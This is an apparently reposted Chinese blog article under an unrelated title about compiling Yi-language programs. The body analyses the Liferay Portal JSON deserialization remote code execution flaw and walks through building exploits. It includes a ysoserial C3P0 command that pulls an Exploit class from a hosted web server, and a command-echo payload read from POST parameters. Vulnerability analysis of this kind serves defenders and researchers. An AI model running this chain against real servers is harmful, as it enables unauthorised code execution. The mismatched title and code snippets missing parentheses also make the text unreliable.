易语言怎么编译.exe程序(易语言编译器)

qiaoqingyi 2023-08-17 156

默认

Liferay介绍

Liferay（又称Liferay Portal）是一个开源门户项目，该项目包含了一个完整的J2EE应用，以创建Web站点、内部网，以此来向适当的客户群显示符合他们的文档和应用程序。它是一个出色的Java开源Portal产品，其中整合了很多当今流行的开源框架，也被不少人使用在实际项目中。

0x1 漏洞范围

Liferay Portal 6.1、6.2、7.0、7.1、7.2

liferay的6和7版本使用的json包不同前者使用Flexjson后者使用Joddjson

0x2 漏洞介绍

本漏洞属于json反序列化漏洞，在到达认证逻辑之前已经触发漏洞逻辑，并在liferay代码中存在c3p0和CommonsBean jar包，因此可以通过ysoserial 工具构造反序列化内容，从而完成漏洞利用。

环境搭建

为了能够调试复现漏洞，在windows环境下搭建liferay环境，下载 https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1 tomcat集成包，如下图所示：

进入liferay tomcat的bin目录，修改catalina.bat 并执行startup.bat

展开全文

liferay 执行起来后会自动打开浏览器并访问127.0.0.1的8000端口，并打开8788调试端口等待idea的链接

Intellij idea配置Java远程调试端口和ip，并添加调试依赖库

漏洞分析

漏洞分析这块，之前的师傅们已经写的很详细了，我也简单的这次漏洞要点梳理下。主要围绕以下几点展开

1.漏洞产生的具体过程

2.漏洞产生的核心路由

3.漏洞利用POST 参数构造方法

打算从挖洞的角度分析这个漏洞，看过很多关于这个漏洞的分析文章，从一开始的路由分析过来感觉不能理解漏洞发现的过程。

0x1 漏洞产生的具体过程

从程序时序图上可以很清楚的看到高漏洞产生的位置，准确的说是在参数类型转换时触发的漏洞，在该操作之前liferay接受并处理了所有字符串参数。下面分析产生漏洞的两个关键点，参数解析和参数类型转换。

1. 参数解析

函数调用栈如下

collectAll函数中的_collectFromRequestParameters函数起到了非常关键的作用，这部分代码是请求过来后对POST参数做解析处理，相关代码如下

_collectFromRequestParameters中最关键的部分在于put函数的处理逻辑，在一开始的时候就匹配了 : 符号，并按照该符号分割得到key和typeName以及value

经过处理后相关参数如下，代码的后续将这些内容填入了_parameterTypes和_innerParameters两个hashmap中以供后续使用

分析到这里我们知道拥有控制typeName和value的能力，到底这些东西有什么用下面我们来揭晓。

2. 参数类型转换

liferay得到了POST传递过来的字符串参数，需要将各个参数进行类型转化，转化成设置的格式。所以我们首先分析liferay是如何知道这些参数类型的。

在参数获取之后会获取对应的路由及参数类型，具体调用栈如下

直接从_pathIndexedJSONServiceActionConfigs中获取path对应的处理类

通过查找发现了两个匹配的路由

接下来的操作就是从这两个路由中选择一个，通过观察发现这两个路由的参数个数不相同，第二个路由是四个参数比第一个多了个object类型的参数，_findJSONWebServiceAction的返回值就是已经选择好的路由和参数类型

3. 漏洞点分析

（1）反序列化入口

liferay 自己实现了JSON的反序列化逻辑，下面的函数looseDeserialize就是反序列化的入口，只需要传入字符串和Class类就可以按照类型进行反序列化。

（2）parameterType的由来

在解析参数类型的时候获取了parameterTypeName字符串，之后通过ClassLoader的loadClass方法加载该类。

这次发包参数为为 defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=xxx 那么解析出来的类就是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource

（3）json反序列化分析

在一些非原生的反序列化的情况下，c3p0可以做到不出网利用。其原理是利用jodd json的反序列化时调用userOverridesAsString的setter，在setter中运行过程中会把传入的以HexAsciiSerializedMap开头的字符串进行解码并触发原生反序列化。

com.liferay.portal.json 最终调用的是 jodd.json.JsonParser方法

JsonParser在Json反序列化的时候首先调用参数的set方法，下面分析com.mchange.v2.c3p0.WrapperConnectionPoolDataSource 是怎么完成对象反序列化的。接着上面的函数下面是调用WrapperConnectionPoolDataSource的setuserOverridesAsString方法

从parseUserOverridesAsString函数中可以看出通过搜索的方式将HexAsciiSAerializedMap的value提取出来并利用fromHexAscii函数将其解析为byte形式，交给SerializableUtils进行反序列化

在代码的最后调用readObject方法解析反序列化

public static Object deserializeFromByteArray(byte[] var0) throws IOException, ClassNotFoundException {ObjectInputStream var1 = new ObjectInputStream(new ByteArrayInputStream(var0));return var1.readObject;}

0x2 漏洞产生的核心路由

对于漏洞分析的已经很详细了，那么我们怎么能够发包走到漏洞位置呢，这就涉及到路由问题，上面也分析过_executeStatement在JSONWebServiceInvokerAction类的invoke方法中有调用，向上追溯到JSONWebServiceServiceAction类

在getJSONWebServiceAction函数中有Action选择的相关代码

因此可以确定最后的路由为invoke即可，前面的一二级路由可以同过xml分析得到。

由xml文件可以确定访问的URL路径，后续是通过cmd参数进行动态路由调用所以需要分析都有那些动态路由，这里有两种分析

1.通过调试找到动态路由表

2.通过查找官方文档确定

0×3 漏洞利用POST参数构造

1. POST参数个数及名称确定

在获取路由及参数类型后会对POST参数进行判断，主要逻辑是判断POST中是否包含了该路由的必要参数，以/expandocolumn/add-column为例，必要参数下图所示：

判断逻辑如下，设置matched变量每当匹配到一个就将该变量+1，matched的个数必须需要的个数相同。

所以POST参数名称可以根据路由中参数确定

2. 构造defaultData

根据前面的分析defaultData包含了json反序列的对象以及之后的利用链，首先清楚的是jodd序列化格式

给上述字符串指定个类型，在json反序列化的时候就会在指定的类中执行setuserOverridesAsString方法参数为后面的value

payload编写

最后分析怎么编写payload，同时也是本篇文章分析的重点

0x1 出网payload

（1）编译Java代码

private static void printMessage(final InputStream input) {// TODO Auto-generated method stubnew Thread (new Runnable {@Overridepublic void run {// TODO Auto-generated method stubReader reader =new InputStreamReader(input);BufferedReader bf = new BufferedReader(reader);String line = null;try {while ((line=bf.readLine)!=null){System.out.println(line);}}catch (IOException e){e.printStackTrace;}}}).start;}}

命令行编译class文件

（2）生成payload

ysoserial 生成c3p0 远程调用payload，将1.ser的十六进制字符串放到HexAsciiSerializedMap 后面

java -jar ysoserial.jar C3P0 "http://127.0.0.1:8089/:Exploit" 1.ser

（3）开启web服务

将编译好的Exploit.class 放在web目录下并开启服务

0x2 不出网回显payload

将此方法详细的介绍下，在去年shiro反序列化漏洞出来的时候师傅们研究了各种中间件的不出网回显的利用方法。该方法的核心在于找到位于thread中的Request和Response ，从而可以在Request获取头部信息，在Response中写入回显结果。我们这次的回显对象是Liferay 因此就要在该代码中找到存储请求和相应对象的类方法。

1. Request和Response

我们可以通过liferay代码（JSONWebServiceServiceAction）分析得到其请求响应类ProtectedServletRequest 继承tomcat中的javax.servlet.http.HttpServletRequest，具体关系如下图所示：

Request

通过类关系图可以看出

Response

根据上面的关系图，我们就有了相应的目标，怎么从liferay中获取到ProtectedServletRequest对象呢？从下图中找到答案，AccessControlContext 定义了_httpServletRequest 和 _httpServletResponse属性以及getRequest和getResponse成员方法。

因此我们可以采用以下方式获取目标的servlet 请求相应

2. 调试payload的方法

编写这块回显代码的时候不可能盲写，也是需要一定的调试技巧的，我们首先吧程序断在触发漏洞的地方，之后通过Evaluate Expression 编写代码

通过Evaluate后的代码只能是最后一个java语句的返回值如上图所示。最后利用这个方法写了个从POST参数获取命令，之后用回显的方式输出

正则表达式”\A”跟”^”的作用是一样的，代表文本的开头，useDelimiter(“\a”) 代表获取所有的输出内容

3. 与ysoserial整合

在Evaluate 中写好回显代码之后要与ysoseial工具进行整合，从而生成相对应的利用链payload，

（1）在Gadgets.java 中添加代码

利用上面的代码替换掉原来的cmd代码

（2）添加依赖并编译

在使用ClassPool类将回显代码加入到反序列化链的时候，ysoserial会先将这段代码编译成字节码，因此在编译的过程中需要将portal-kernel.jar 添加到mvn的依赖包中，操作如下：

在ysoserial项目的pom.xml文件中添加com.liferay.portal.kernel